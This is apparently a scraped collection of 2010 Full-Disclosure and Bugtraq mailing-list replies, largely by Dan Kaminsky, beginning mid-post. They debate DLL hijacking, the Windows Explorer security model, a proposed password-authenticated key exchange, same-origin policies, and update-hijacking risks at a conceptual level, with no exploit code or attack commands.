\n\nAaah, well if that is the issue, it seems to me that the  \nvulnerability here is\nthat the application in question (MSWord) has it's CWD set to the  \ndirectory of\nthe file that it is opening through the explorer shell.\n\nIt should chdir() to it's own parent directory before doing anything  \ninteresting\nthat depends on CWD. (i.e. loading DLLs or executing "./ \namazingApp.sh")\n\nIt's general good programming practice to be mindful of your CWD, I  \nknow\nthat personally; a call to chdir() is almost always at the top of my  \nscript.\n\nSo, I take back what I said about it being a non-issue, it IS in fact\na vulnerability in the application.\n\n
\n\nAgain, the clicker can't differentiate word (the document) from word  \n(the executable).  The clicker also can't differentiate word (the  \ndocument) from word (the code equivalent script).\n\nThe security model people keep presuming exists, doesn't.\n\nEven the situation whereby a dll is dropped into a directory of  \ndocuments -- the closest to a real exploit path there is -- all those  \ndocs can be repacked into executables.\n\n
Cheers,\nCharles\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/436", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 31)", "frm": "Dan Kaminsky ", "date": "Tue, 31 Aug 2010 16:18:47 -0700", "body_html": "\n
\n\n\n\n\nOn Aug 31, 2010, at 4:11 PM, paul.szabo () sydney edu au wrote:\n\n
Valdis.Kletnieks () vt edu wrote:\n\n
... The victim is attempting to view a plain text file. Surely\nthat can be done safely?\n
\n\nOnly if your OS's security model understands the fact that executable\ncode and data belong in different security domains and thus different\nrules should apply about what files to "trust" in each category.\n
\n\nHmm... an OS that cannot "view" plain-text in a safe manner...\nShame on those who would call that an OS.\n\nYes, even the Windows security model understands those things.\n
\n\nNotepad.exe can launch from iexplore.exe in some contexts; this open  \nis safe (and when it isn't, it's Critical).\n\nNotepad.exe can launch from Explorer.exe in some contexts, this open  \nis not safe.\n\niexplore.exe has a security model. Explorer.exe doesn't (outside of  \nstandard user). That's the reality, shared by all the desktops.\n\n\n\n
\n\nCheers, Paul\n\nPaul Szabo   psz () maths usyd edu au   http://www.maths.usyd.edu.au/u/psz/\nSchool of Mathematics and Statistics   University of Sydney     \nAustralia\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/441", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 31)", "frm": "Dan Kaminsky ", "date": "Tue, 31 Aug 2010 19:18:50 -0700", "body_html": "\n
\n\n\n\n\nOn Aug 31, 2010, at 6:49 PM, paul.szabo () sydney edu au wrote:\n\n
Dan Kaminsky <dan () doxpara com> wrote:\n\n
iexplore.exe has a security model. Explorer.exe doesn't ...\n
\n\nVery dim view. So, there is no way for a Windows user to access his\n"desktop", e.g. any data on a CD or USB stick, in a safe way? Seems so\nwasteful for MS to try and plug autorun viruses, then...\n\nThankfully, you are wrong. All decent OSs have some security. (Some  \nare\nmore decent than others.)\n\n
\n\nOk. Which desktop shell doesn't behave just like explorer?\n\nMore instructively -- what would a secure desktop look like?\n\n\n
Cheers, Paul\n\nPaul Szabo   psz () maths usyd edu au   http://www.maths.usyd.edu.au/u/psz/\nSchool of Mathematics and Statistics   University of Sydney     \nAustralia\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/431", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 31)", "frm": "Dan Kaminsky ", "date": "Tue, 31 Aug 2010 16:03:34 -0700", "body_html": "\n
\n\n\n\n\nOn Aug 31, 2010, at 2:20 PM, Charles Morris <cmorris () cs odu edu> wrote:\n\n
On Tue, Aug 31, 2010 at 5:15 PM, Dan Kaminsky <dan () doxpara com> wrote:\n\n
\n\nAgain, the clicker can't differentiate word (the document) from  \nword (the\nexecutable).  The clicker also can't differentiate word (the  \ndocument) from\nword (the code equivalent script).\n\nThe security model people keep presuming exists, doesn't.\n\nEven the situation whereby a dll is dropped into a directory of  \ndocuments --\nthe closest to a real exploit path there is -- all those docs can be\nrepacked into executables.\n\n
\n\nWhat?\n\nI can differentiate my coolProposal.doc from msword.exe just fine..\n\n
\n\nUh huh. Here, let me go ahead and create 2010 Quarterly  \nNumbers.ppt.exe with a changed icon, and see what you notice.\n\n\n
If your statement is that the windows defaults should be changed,\nincluding the "hide extensions" default, then I wholeheartedly agree\nas I detailed in my first post. It's the first thing I turn off.\n\nMany people who think the same way have considered that a\nvulnerability in windows for years, I wouldn't consider it part of\nthe "DLL Hijacking" fiasco.\n
\n\nImagine if the browser lock meant arbitrary code could run.\n\nI find your faith in small collections of pixels hilarious.\n\n
\n\nCheers,\nCharles\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Aug/434", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Aug 31)", "frm": "Dan Kaminsky ", "date": "Tue, 31 Aug 2010 16:14:05 -0700", "body_html": "\n
\n\n\n\n\nOn Aug 31, 2010, at 4:08 PM, paul.szabo () sydney edu au wrote:\n\n
Dan Kaminsky <dan () doxpara com> wrote:\n\n
I can differentiate my coolProposal.doc from msword.exe just fine..\n
\n\nUh huh. Here, let me go ahead and create 2010 Quarterly\nNumbers.ppt.exe with a changed icon, and see what you notice.\n
\n\nSo you (Dan) can differentiate. Why couldn't other do the same?\n
\n\nIt's not that they can't. It's that they don't, and we have huge  \namounts of data confirming this. Have you never been to a Moxie  \nMarlinspike talk?  His success rates on SSL Stripping a tor node were  \n100%. 100%!!!\n\n
Do you honestly think you are so much smarter than anyone else?\n\n
\n\nIt's not about intelligence, it's about what you and I care about. For  \nexample, I don't care about how cars work. I want to put my key in the  \nignition and go.\n\nThere's only so much anyone really cares about. Outside of our little  \nclub here, people want the computer to just work.\n\n\n\n
Cheers, Paul\n\nPaul Szabo   psz () maths usyd edu au   http://www.maths.usyd.edu.au/u/psz/\nSchool of Mathematics and Statistics   University of Sydney     \nAustralia\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Sep/252", "subject": "Re: DLL hijacking with Autorun on a USB drive", "index_author": "Dan Kaminsky (Sep 14)", "frm": "Dan Kaminsky ", "date": "Tue, 14 Sep 2010 18:54:27 -0400", "body_html": "\n
On Tue, Sep 14, 2010 at 6:07 PM, Stefan Kanthak <stefan.kanthak () nexgo de> wrote:\n
Dan Kaminsky wrote:\n\n
h0h0h0. \u00c2\u00a0There be history, Larry.\n\nShort version: \u00c2\u00a0Go see how many DLLs exist outside of c:\\windows\\system32.\nLook, ye mighty, and despair when you realize all those apps would be broken\nby CWD DLL blocking.\n
\n\nNo, that's the too much shortened version.\nThe correct version but is: Go see how many DLLs exist outside of the DLL\nsearch path.\nCWD DLL blocking does NOT break all those apps!\nApps which install their DLLs into their own application directory won't\nnotice CWD blocking at all.\n\nAnd apps which break can be easily fixed:\n\n[HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\application.exe]\n"Path"=...\n\nexists for more than 15 years now.\n\nStefan\n\n\n
\n\nAn automatic patch that breaks random apps will not be an automatic\npatch -- and neither will the twenty patches after it.\n\nNobody cares that the breakage "can be fixed" with some fifteen year old key.\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Sep/86", "subject": "Re: KeePass version 2.12 <= Insecure DLL Hijacking Vulnerability (dwmapi.dll)", "index_author": "Dan Kaminsky (Sep 06)", "frm": "Dan Kaminsky ", "date": "Tue, 7 Sep 2010 02:23:07 -0400", "body_html": "\n
So, what's the security model around .ygwx files?\n\nOn Tue, Sep 7, 2010 at 1:57 AM, YGN Ethical Hacker Group <lists () yehg net>wrote:\n\n
The fixed version KeePass 2.13 has been released.\n\nhttp://keepass.info/news/n100906_2.13.html\n\nBut failure to describe "DLL Hijacking was fixed".\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Sep/87", "subject": "Re: KeePass version 2.12 <= Insecure DLL Hijacking Vulnerability (dwmapi.dll)", "index_author": "Dan Kaminsky (Sep 06)", "frm": "Dan Kaminsky ", "date": "Tue, 7 Sep 2010 02:23:25 -0400", "body_html": "\n
excuse me, kdbx.  same difference\n\n\nOn Tue, Sep 7, 2010 at 2:23 AM, Dan Kaminsky <dan () doxpara com> wrote:\n\n
So, what's the security model around .ygwx files?\n\n\nOn Tue, Sep 7, 2010 at 1:57 AM, YGN Ethical Hacker Group <lists () yehg net>wrote:\n\n
The fixed version KeePass 2.13 has been released.\n\nhttp://keepass.info/news/n100906_2.13.html\n\nBut failure to describe "DLL Hijacking was fixed".\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Sep/127", "subject": "Re: [GOATSE SECURITY] Clench: Goatse's way to say \"screw you\" to certificate authorities", "index_author": "Dan Kaminsky (Sep 08)", "frm": "Dan Kaminsky ", "date": "Wed, 8 Sep 2010 15:52:07 -0400", "body_html": "\n
Ah, a new password-authenticated DH.  At first glance, this is similar to\nSRP (http://srp.stanford.edu/), but the server stores a plaintext password.\n\n\nInitial thinking -- I'm not convinced that an offline brute force attack\nwon't work -- the nonce may break rainbow tabling, but it is transmitted via\nunauthenticated DH (meaning, an attacker can see it with a mildly active\nattack).\n\nThus the questions:\n\na) Can an attacker, able to see multiple instances of a client's g2b, g3b,\nPb and Qb, offline-brute-force them to verify the plaintext password?\nb) Can an attacker, able to see multiple instances of a server's Pa, Qa and\nRa, offline-brute-force them to verify the plaintext password of an\narbitrary user?\n\nNeither is possible in the present form-based HTTPS system, or SRP.\n\nI'm not saying the above attacks will work.  There are a decent amount of\nrandomizers in here (both r and s are randomly selected, and never sent).\nBut the fact that you're saying "even if x-y could be extrapolated..." is\nworrisome.\n\nFirst, x==y, no?  So isn't x-y always 0?\nSecond, a MITM can clearly control the nonce (remember, at this point the\nserver pubkey isn't authenticated yet, and the server entirely controls the\nnonce), so your statement that "a new nonce is built for every\nauthentication attempt, and  potentially meaningful data from (x \u00e2\u0080\u0093 y) cannot\nbe generated without multiple attempts on the same shared secret value."\nisn't accurate.\n\nAlso, multiple attempts on the same shared secret value...what's hard about\nthat?\n\nFinally, this entire approach needs to stay out of the DOM.  It's not just a\nclient authentication protocol, it's a server authentication protocol,\nmeaning you can't trust the foreign UI until the password has authenticated\nthe content coming in.\n\n\n\nOn Wed, Sep 8, 2010 at 1:22 PM, Andrew Auernheimer <gluttony () gmail com>wrote:\n\n
Chris,\n\nThe cryptographic primitives are long-standing and strong, and the\nsource is open! Feel free to pick apart our proposed protocol\nspecification!\n\nOn Wed, Sep 8, 2010 at 12:15 PM, Christian Sciberras <uuf6429 () gmail com>\nwrote:\n
You're expecting us to trust YOU over the Government X?\n\nHow do we know you're not working for the French Government (seeing\nhow you didn't list it in your conspiracy list)?\n\nI love jokes, but this is a bit too late for April's Fool.\n\nCheers,\nChris.\n\n\n\nOn Wed, Sep 8, 2010 at 6:59 PM, Tim <tim-security () sentinelchicken org>\n
wrote:\n
\n\nHello Andrew,\n\n
un-tl;dr abstract: SSL is broken. Certificate authorities only exist\nto let the US, Chinese, Turkish, Brazilian etc etc government or\nRussian mob spy on you (whichever is interested first). Well, I guess\nthey also exist to line the pockets of assholes who want $10-50 for\npushing a button. Luckily, we\u00e2\u0080\u0099ve remedied this! We\u00e2\u0080\u0099ve established a\nway that a client, using only standard password authentication, can\nvalidate a server\u00e2\u0080\u0099s public key and ensure that no third party is\nlistening (without the use of a trusted third party such as a\ncertificate authority or manual fingerprint verification). Read on for\na wonderfully simple hack and proof of concept code!\n\nBiggest problem we solve: \u00e2\u0080\u009cTrusted\u00e2\u0080\u009d third parties can\u00e2\u0080\u0099t be trusted and\ncriminals or hostile governments are free to launch man in the middle\nattacks. Extensive research in this area has been done by by\nMarlinspike, Dan Kaminsky and Mike Zusman which you really should\nread.\n
...\n
The whole PKI architecture is broken and cannot be safely relied upon.\nAny system of authentication which relies on a \u00e2\u0080\u009ctrusted\u00e2\u0080\u009d third party\nthat you have no dominion over is flawed. DNSSEC is only an\nincremental improvement with the same underlying flaw\u00e2\u0080\u0093 I may trust the\nICANN, ISC, NIST, NTIA, the Department of Homeland Security, or\nVeriSign more than the combined ineptitude and maliciousness of every\ncurrent SSL CA, but I still don\u00e2\u0080\u0099t trust them. The whole idea of a\ntrust anchor is fallacious.\n
\n\nI agree with you, the currently used SSL/TLS PKI is fragile and\nsubvertible.  SSL/TLS itself isn't so bad (less a renegotiation flaw).\n\n\n
We set out to solve this problem in a way that can reconcile three\nrealities of security:\n\n    * Users cannot effectively comprehend anything but password\nauthentication. They don\u00e2\u0080\u0099t understand key management, and the task of\ngetting hundreds of thousands or millions of users to install a client\ncertificate or generate a keypair (and not accidentally reveal the\nprivate key) is a Herculean task that few IT departments want to\ntry.\n\n    * Users cannot be trusted to manually verify fingerprints.\nSeriously, they just won\u00e2\u0080\u0099t. Even the ones that perceive themselves as\nsophisticated and security-conscious.\n
\n\nOk, maybe.  Let's assume for now that these two assertions are correct.\n\n\n
    * The network is now many times more hostile and open to attack\nthan the server.\n
\n\nReally?  Now compared to when?\n\n\n
HERE'S HOW CLENCH WORKS:\n\n   1. Client connects to server and sends hello.\n   2. Server sends hello back, along with its cert.\n   3. Standard Diffie-Helman key exchange happens in SSL/TLS/SSH\nfashion. Initial handshake is finished, cypher spec is changed, now\nhere comes the magic:\n   4. Server sends client the nonce value [ Ticks since unix epoch +\n16 bytes of random data ]\n   5. Client sends userid/username to server.\n   6. Client types in password, but password is not sent to server.\nBoth sides generate a hash.\n      Client generates y, a hash of  [ client password + server's\npublic key, as client sees it + nonce from step 4 ]\n      Server generates x, a hash of [ client password + server's own\npublic key + nonce from step 4 ]\n   7. Client and server use a symmetric and fair zero-knowledge proof\nto verify that we both have the same hash without revealing the value\nof the hash to one another. Imagine a two pan scale, and a secret of a\ngiven weight of marbles in a bag. If we both place our bag of marbles\non the pans at the same time, if they come to an equilibrium we will\nhave verified our shared secret without revealing it to one another.\n      For more information on this step please see the excellent paper\n\u00e2\u0080\u009cA Fair and Efficient Solution to the Socialist Millionaires\u00e2\u0080\u0099\nProblem\u00e2\u0080\u009c.\n   8. Upon successful completion of the proof, the server allows the\nsession to proceed.\n
\n\n\nThis seems awfully similar in concept to the proposed Mutual\nAuthentication protocol for HTTP.  See:\n\n http://www.rcis.aist.go.jp/special/MutualAuth/\n\nNote that it also uses a shared secret to provide the mutual\nauthentication and incorporates server (SSL/TLS) certificates into the\nhashing process.  I'm not sure on how the details differ, but if you\nhaven't looked at it yet, you should.  They already have a solid draft\nRFC.\n\n\n
THE ROADMAP FROM HERE:\n\nThere\u00e2\u0080\u0099s some barriers to implementation on this for HTTPS. Firstly,\nthere needs to be a javascript function that returns the current\npublic key (or at least the fingerprint) of the https server called to\nload the page in the current DOM.\n
\n\nYou're kidding right?  You plan on relying on JavaScript to implement\nthe crypto and password checking process?  If you assume someone is\nalready MitM-ing your SSL/TLS connection, then how do you know the\nJavaScript sent to you isn't malicious (backdoored Clench\nimplementation) to begin with?\n\n\n
There also needs to be some\nmechanism in the GUI of the browser that can\u00e2\u0080\u0099t be mimicked by an\nattacker to inform the client that the current login form implements a\nClench-like authentication mechanism. Because obviously an attacker\ncan just rewrite the form if they\u00e2\u0080\u0099re MitMing and trick the user into\nsending plaintext.\n
\n\nYeah, these kinds of protocols must be baked into the browser.\nWhether that be through an add-on or native, it needs to be\ndistributed "a priori".  Don't bother with JavaScript.\n\ntim\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Sep/179", "subject": "Re: Nmap NOT VULNERABLE to Windows DLL Hijacking\tVulnerability", "index_author": "Dan Kaminsky (Sep 10)", "frm": "Dan Kaminsky ", "date": "Fri, 10 Sep 2010 14:08:14 -0400", "body_html": "\n
On Fri, Sep 10, 2010 at 11:46 AM, Nikhil Mittal\n<nikhil_uitrgpv () yahoo co in> wrote:\n
\n\n
Here's my definition\n
\n\n
Exploitable vulnerability = vulnerabilityn't t\nNon-exploitable "vulnerability" = mental masturbation\n
\n\nNice definition. I would like to add one more line for my definition\n\nInability to recognize a straight forward vulnerability = mentally handicap\n
\n\nOK, lets go over this again.\n\nNikhil, Simple DLL Hijacking is quite possibly the least\nstraightforward potentially exploitable condition *of all time*.\u00c2\u00a0 We\nmay look back on this characteristic as the thing that finally proved\nthe legitimacy of Cross Site Scripting attacks -- compared to Simple\nDLL Hijacking, XSS is practically a stack smash.\u00c2\u00a0 Simple DLL\nHijacking's problem is as follows:\n\na) The presumed preconditions for an attack are extensive and expensive\nb) An attacker who met those preconditions, would not be stopped by\nthe proposed defenses\n\nRegarding a, we're seeing lots of PDF 0-day floating around.\u00c2\u00a0 Why?\nBecause it's pretty cheap to get somebody to parse a PDF:\u00c2\u00a0 <iframe\nsrc='foo.pdf'> and you're done.  Getting someone to go through all the\nsteps with SDH?  Too complicated.\n\nThat being said, there are scenarios.  Matt @ AttackVector probably\nfound the best one right now -- a worm drops DLLs into a shared\ndocument folder, and anyone who opens the docs gets hit.  And of\ncourse, multiple people have figured out that SDH causes problems for\nAutorun defenses, because a document read (not copied) directly off a\nthumbdrive will presently launch code.\n\nEven if you grant these are legitimate vectors, these are vectors\nbouncing off Office's presumed type safety -- not WinImageView\n3.4.8's.  And they're not even close to straightforward.\n\nThe core problem though is that Explorer itself doesn't strongly\nenforce type safety.  I can't emphasize enough, you just don't have\nenough context when you double click an item in a browser, that it's\nnot actually an .exe.  People keep pretending you do have this\ncontext, and it's simply untrue.  Look at it this way:  If it was as\neasy to execute arbitrary code from a web page, as it was from a\nExplorer Shell Window to \\\\attacker.com\\foo, we'd be up in arms.\n\nSo essentially, what you find is that the very concept of browsing\nremote shares and USB sticks you don't trust, is unsafe.  This creates\nthe astonishing situation where Sharepoint becomes a security\ntechnology!\n\nYou might notice that I keep referring to all this as Simple DLL\nHijacking.  It's likely that DLL Hijacking will actually be a critical\ncomponent of a genuine attack vector.  It's just not, yet.  The\njourney of a thousand miles has been declared complete with a single\nstep.  So we're on the cusp of some huge portion of advisories coming\nfrom the security community being little more than "random Windows app\nruns DLLs from CWD".\n\nFrankly, I think we can find better bugs.  I think we'd better.  Just\nlike bad money drives out good money, bad bugs drive out good bugs.\nThe credibility of advisories, and even the usefulness of FD, is\nsomewhat at risk.\n\n--Dan\n\nP.S.  Maybe there should be a new list -- full-disclosure-sdh -- for\nthis discussion?  I can't be the only one wondering how enormous this\nthread has to get.  Yeah, yeah, I know.  I'm dreaming.\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Sep/224", "subject": "Re: Firefox same-origin policy for fonts", "index_author": "Dan Kaminsky (Sep 12)", "frm": "Dan Kaminsky ", "date": "Sun, 12 Sep 2010 19:56:28 -0400", "body_html": "\n
The idea is the same as crossdomain.xml in flash -- content can\nexplicitly opt into being shared across domain boundaries.\n\nOur real problem is that there's no way to know whether content is\ngenerically available to the Internet, or just you because of IP\nfirewalling / cookies / whatnot.  So we have to default to blocking\nall cross domain reads, since that other domain might be hosting your\nemail.\n\nOn Sun, Sep 12, 2010 at 7:43 PM,  <paul.szabo () sydney edu au> wrote:\n
One of my users asked me to install MathJax on my server.\nReading installation instructions in\n\u00c2\u00a0http://www.mathjax.org/resources/docs/?installation.html#notes-about-shared-installations\nI came across the following:\n\n\u00c2\u00a0... Firefox's same-origin security policy for cross-domain scripting.\n\u00c2\u00a0Firefox's interpretation of the same-origin policy is more strict than\n\u00c2\u00a0 \u00c2\u00a0most other browsers, and it affects how fonts are loaded with the\n\u00c2\u00a0 \u00c2\u00a0@font-face CSS directive. ...\n\u00c2\u00a0There is a solution to this, however, if you manage the server ...\n\u00c2\u00a0 \u00c2\u00a0create a file called .htaccess that contains the following lines: ...\n\u00c2\u00a0 \u00c2\u00a0Header set Access-Control-Allow-Origin "*"\n\nThat would suggest that this same-origin policy can be defeated by\nsettings on the "evil" server: the policy is not enforced, useless.\nDid I misunderstand something?\n\n(Does not really matter to me, am not planning on using that setting,\nbut am wondering about Firefox workings.)\n\nThanks,\n\nPaul Szabo \u00c2\u00a0 psz () maths usyd edu au \u00c2\u00a0 http://www.maths.usyd.edu.au/u/psz/\nSchool of Mathematics and Statistics \u00c2\u00a0 University of Sydney \u00c2\u00a0 \u00c2\u00a0Australia\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Oct/65", "subject": "Re: ZDI-10-191: Adobe Reader ICC Parsing Remote Code Execution Vulnerability", "index_author": "Dan Kaminsky (Oct 06)", "frm": "Dan Kaminsky ", "date": "Thu, 7 Oct 2010 01:12:51 -0400", "body_html": "\n
\n\nWell, awesome. This sounds near-identical to some issues that the Sun JRE\nhad a few years back[1]. I wonder if the code shares a common lineage? :)\n\n\n
No common lineage required; ICC's filled with 32 bit element counts.\n They're always int overflow bait.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Oct/297", "subject": "Re: Security-Assessment.com Advisory: Oracle JRE\t- java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass", "index_author": "Dan Kaminsky (Oct 20)", "frm": "Dan Kaminsky ", "date": "Wed, 20 Oct 2010 10:38:12 -0700", "body_html": "\n
\n\n\nSent from my iPhone\n\nOn Oct 20, 2010, at 8:58 AM, Michal Zalewski <lcamtuf () coredump cx> wrote:\n\n
Security-Assessment.com follows responsible disclosure\nand promptly contacted Oracle after discovering\nthe issue. Oracle was contacted on August 1,\n2010.\n
\n\nMy understanding is that Stefano Di Paola of Minded Security reported\nthis back in April; and further, the feature was a part of reasonably\nwell-documented functionality of Java pretty much ever since:\n\nhttp://download.oracle.com/javase/6/docs/api/java/net/URL.html\n\n"Two hosts are considered equivalent if both host names can be\nresolved into the same IP addresses"\n\nThis was a pretty horrible design, so it's good to see it gone, though.\n
\n\nEh, you can see where it came from though. Design bugs like this are absolutely miserable to fix (see how we'll never \nget rebinding out of the browser) and letting identical IP's script against eachother lets an awful lot of legitimate \ntraffic through while blocking almost all attacks.\n\nI'm not saying it's a preferred design, but let's reserve "horrible" for things that don't have quite the obvious \nthought process behind them.\n\nIs this, in fact, gone now?\n\n
\n\n/mz\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Oct/501", "subject": "Re: Evilgrade 2.0 - the update explotation framework is back", "index_author": "Dan Kaminsky (Oct 30)", "frm": "Dan Kaminsky ", "date": "Sat, 30 Oct 2010 14:23:31 -0700", "body_html": "\n
On Sat, Oct 30, 2010 at 8:02 AM, <Valdis.Kletnieks () vt edu> wrote:\n\n
On Sat, 30 Oct 2010 04:43:14 +0800, Jacky Jack said:\n
It's now a time for vendors to re-consider their updating scheme.\n
\n\nAnd do what differently, exactly?\n\n
\n\nWe really need autoupdate baked into the platform.\n\nA) Laying in wait for some random to think "Wow, I should update iTunes" and\n
hijack the process.\n\nB) Send out a few hundred thousand spam with a '\nFrom:update () apple-itunes-support com<From%3Aupdate () apple-itunes-support com>\n'\nwith a link to a site you control and feed the the sheep some malware.\n\n
\n\nYeah, and C) I can take a rubber hose and choke you with it until you give\nme the admin password.  That C works does not obviate A or B.\n\nThere are...side effects to C.\n\nWhat you're not understanding is that many autoupdaters operate with zero\nuser interaction.  There is something to be said about silent ownage, simply\nbecause you connected to a network.\n\nAlso, note that Evilgrade has been out for several years, and there are\nstill (many) vulnerable endpoints. This is the reality of design bugs --\nthey can survive the light of day, because they're such a miserable pain to\nfix.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/bugtraq/2010/Oct/169", "subject": "Re: [Full-disclosure] Security-Assessment.com Advisory: Oracle JRE - java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass", "index_author": "Dan Kaminsky (Oct 20)", "frm": "Dan Kaminsky ", "date": "Wed, 20 Oct 2010 10:38:12 -0700", "body_html": "\n
\n\n\nSent from my iPhone\n\nOn Oct 20, 2010, at 8:58 AM, Michal Zalewski <lcamtuf () coredump cx> wrote:\n\n
Security-Assessment.com follows responsible disclosure\nand promptly contacted Oracle after discovering\nthe issue. Oracle was contacted on August 1,\n2010.\n
\n\nMy understanding is that Stefano Di Paola of Minded Security reported\nthis back in April; and further, the feature was a part of reasonably\nwell-documented functionality of Java pretty much ever since:\n\nhttp://download.oracle.com/javase/6/docs/api/java/net/URL.html\n\n"Two hosts are considered equivalent if both host names can be\nresolved into the same IP addresses"\n\nThis was a pretty horrible design, so it's good to see it gone, though.\n
\n\nEh, you can see where it came from though. Design bugs like this are absolutely miserable to fix (see how we'll never \nget rebinding out of the browser) and letting identical IP's script against eachother lets an awful lot of legitimate \ntraffic through while blocking almost all attacks.\n\nI'm not saying it's a preferred design, but let's reserve "horrible" for things that don't have quite the obvious \nthought process behind them.\n\nIs this, in fact, gone now?\n\n
\n\n/mz\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Dec/62", "subject": "Re: verizon vs m$", "index_author": "Dan Kaminsky (Dec 06)", "frm": "Dan Kaminsky ", "date": "Mon, 6 Dec 2010 22:04:57 +0900", "body_html": "\n
-----\nFinally, Microsoft and other software vendors should clearly document which features do and do not\nhave associated security claims. Clearly stating which features make security claims, and which do not,\nwill allow informed decisions to be made on IT security issues.\n-----\n
\n\n
From 2007:\n
\n\nhttp://www.networkworld.com/news/2007/021407-microsoft-uac-not-a-security.html\n\n"Vista makes tradeoffs between security and convenience, and both UAC\nand Protected Mode IE have design choices that required paths to be\nopened in the IL wall for application compatibility and ease of use,"\nhe wrote.\n\nBecause the boundaries defined by UAC and Protected Mode IE are\ndesigned to be porous, they can't really be considered security\nbarriers, he said. "Neither UAC elevations nor Protected Mode IE\ndefine new Windows security boundaries," Russinovich wrote. "Because\nelevations and ILs don\u00e2\u0080\u0099t define a security boundary, potential avenues\nof attack, regardless of ease or scope, are not security bugs."\n\nHe said Microsoft had communicated this in the past, but that the\npoint needed reiterating.\n\n(Note that Russinovich is properly cited in the Verizon Business\nreport -- just pointing out that this has come up before.)\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
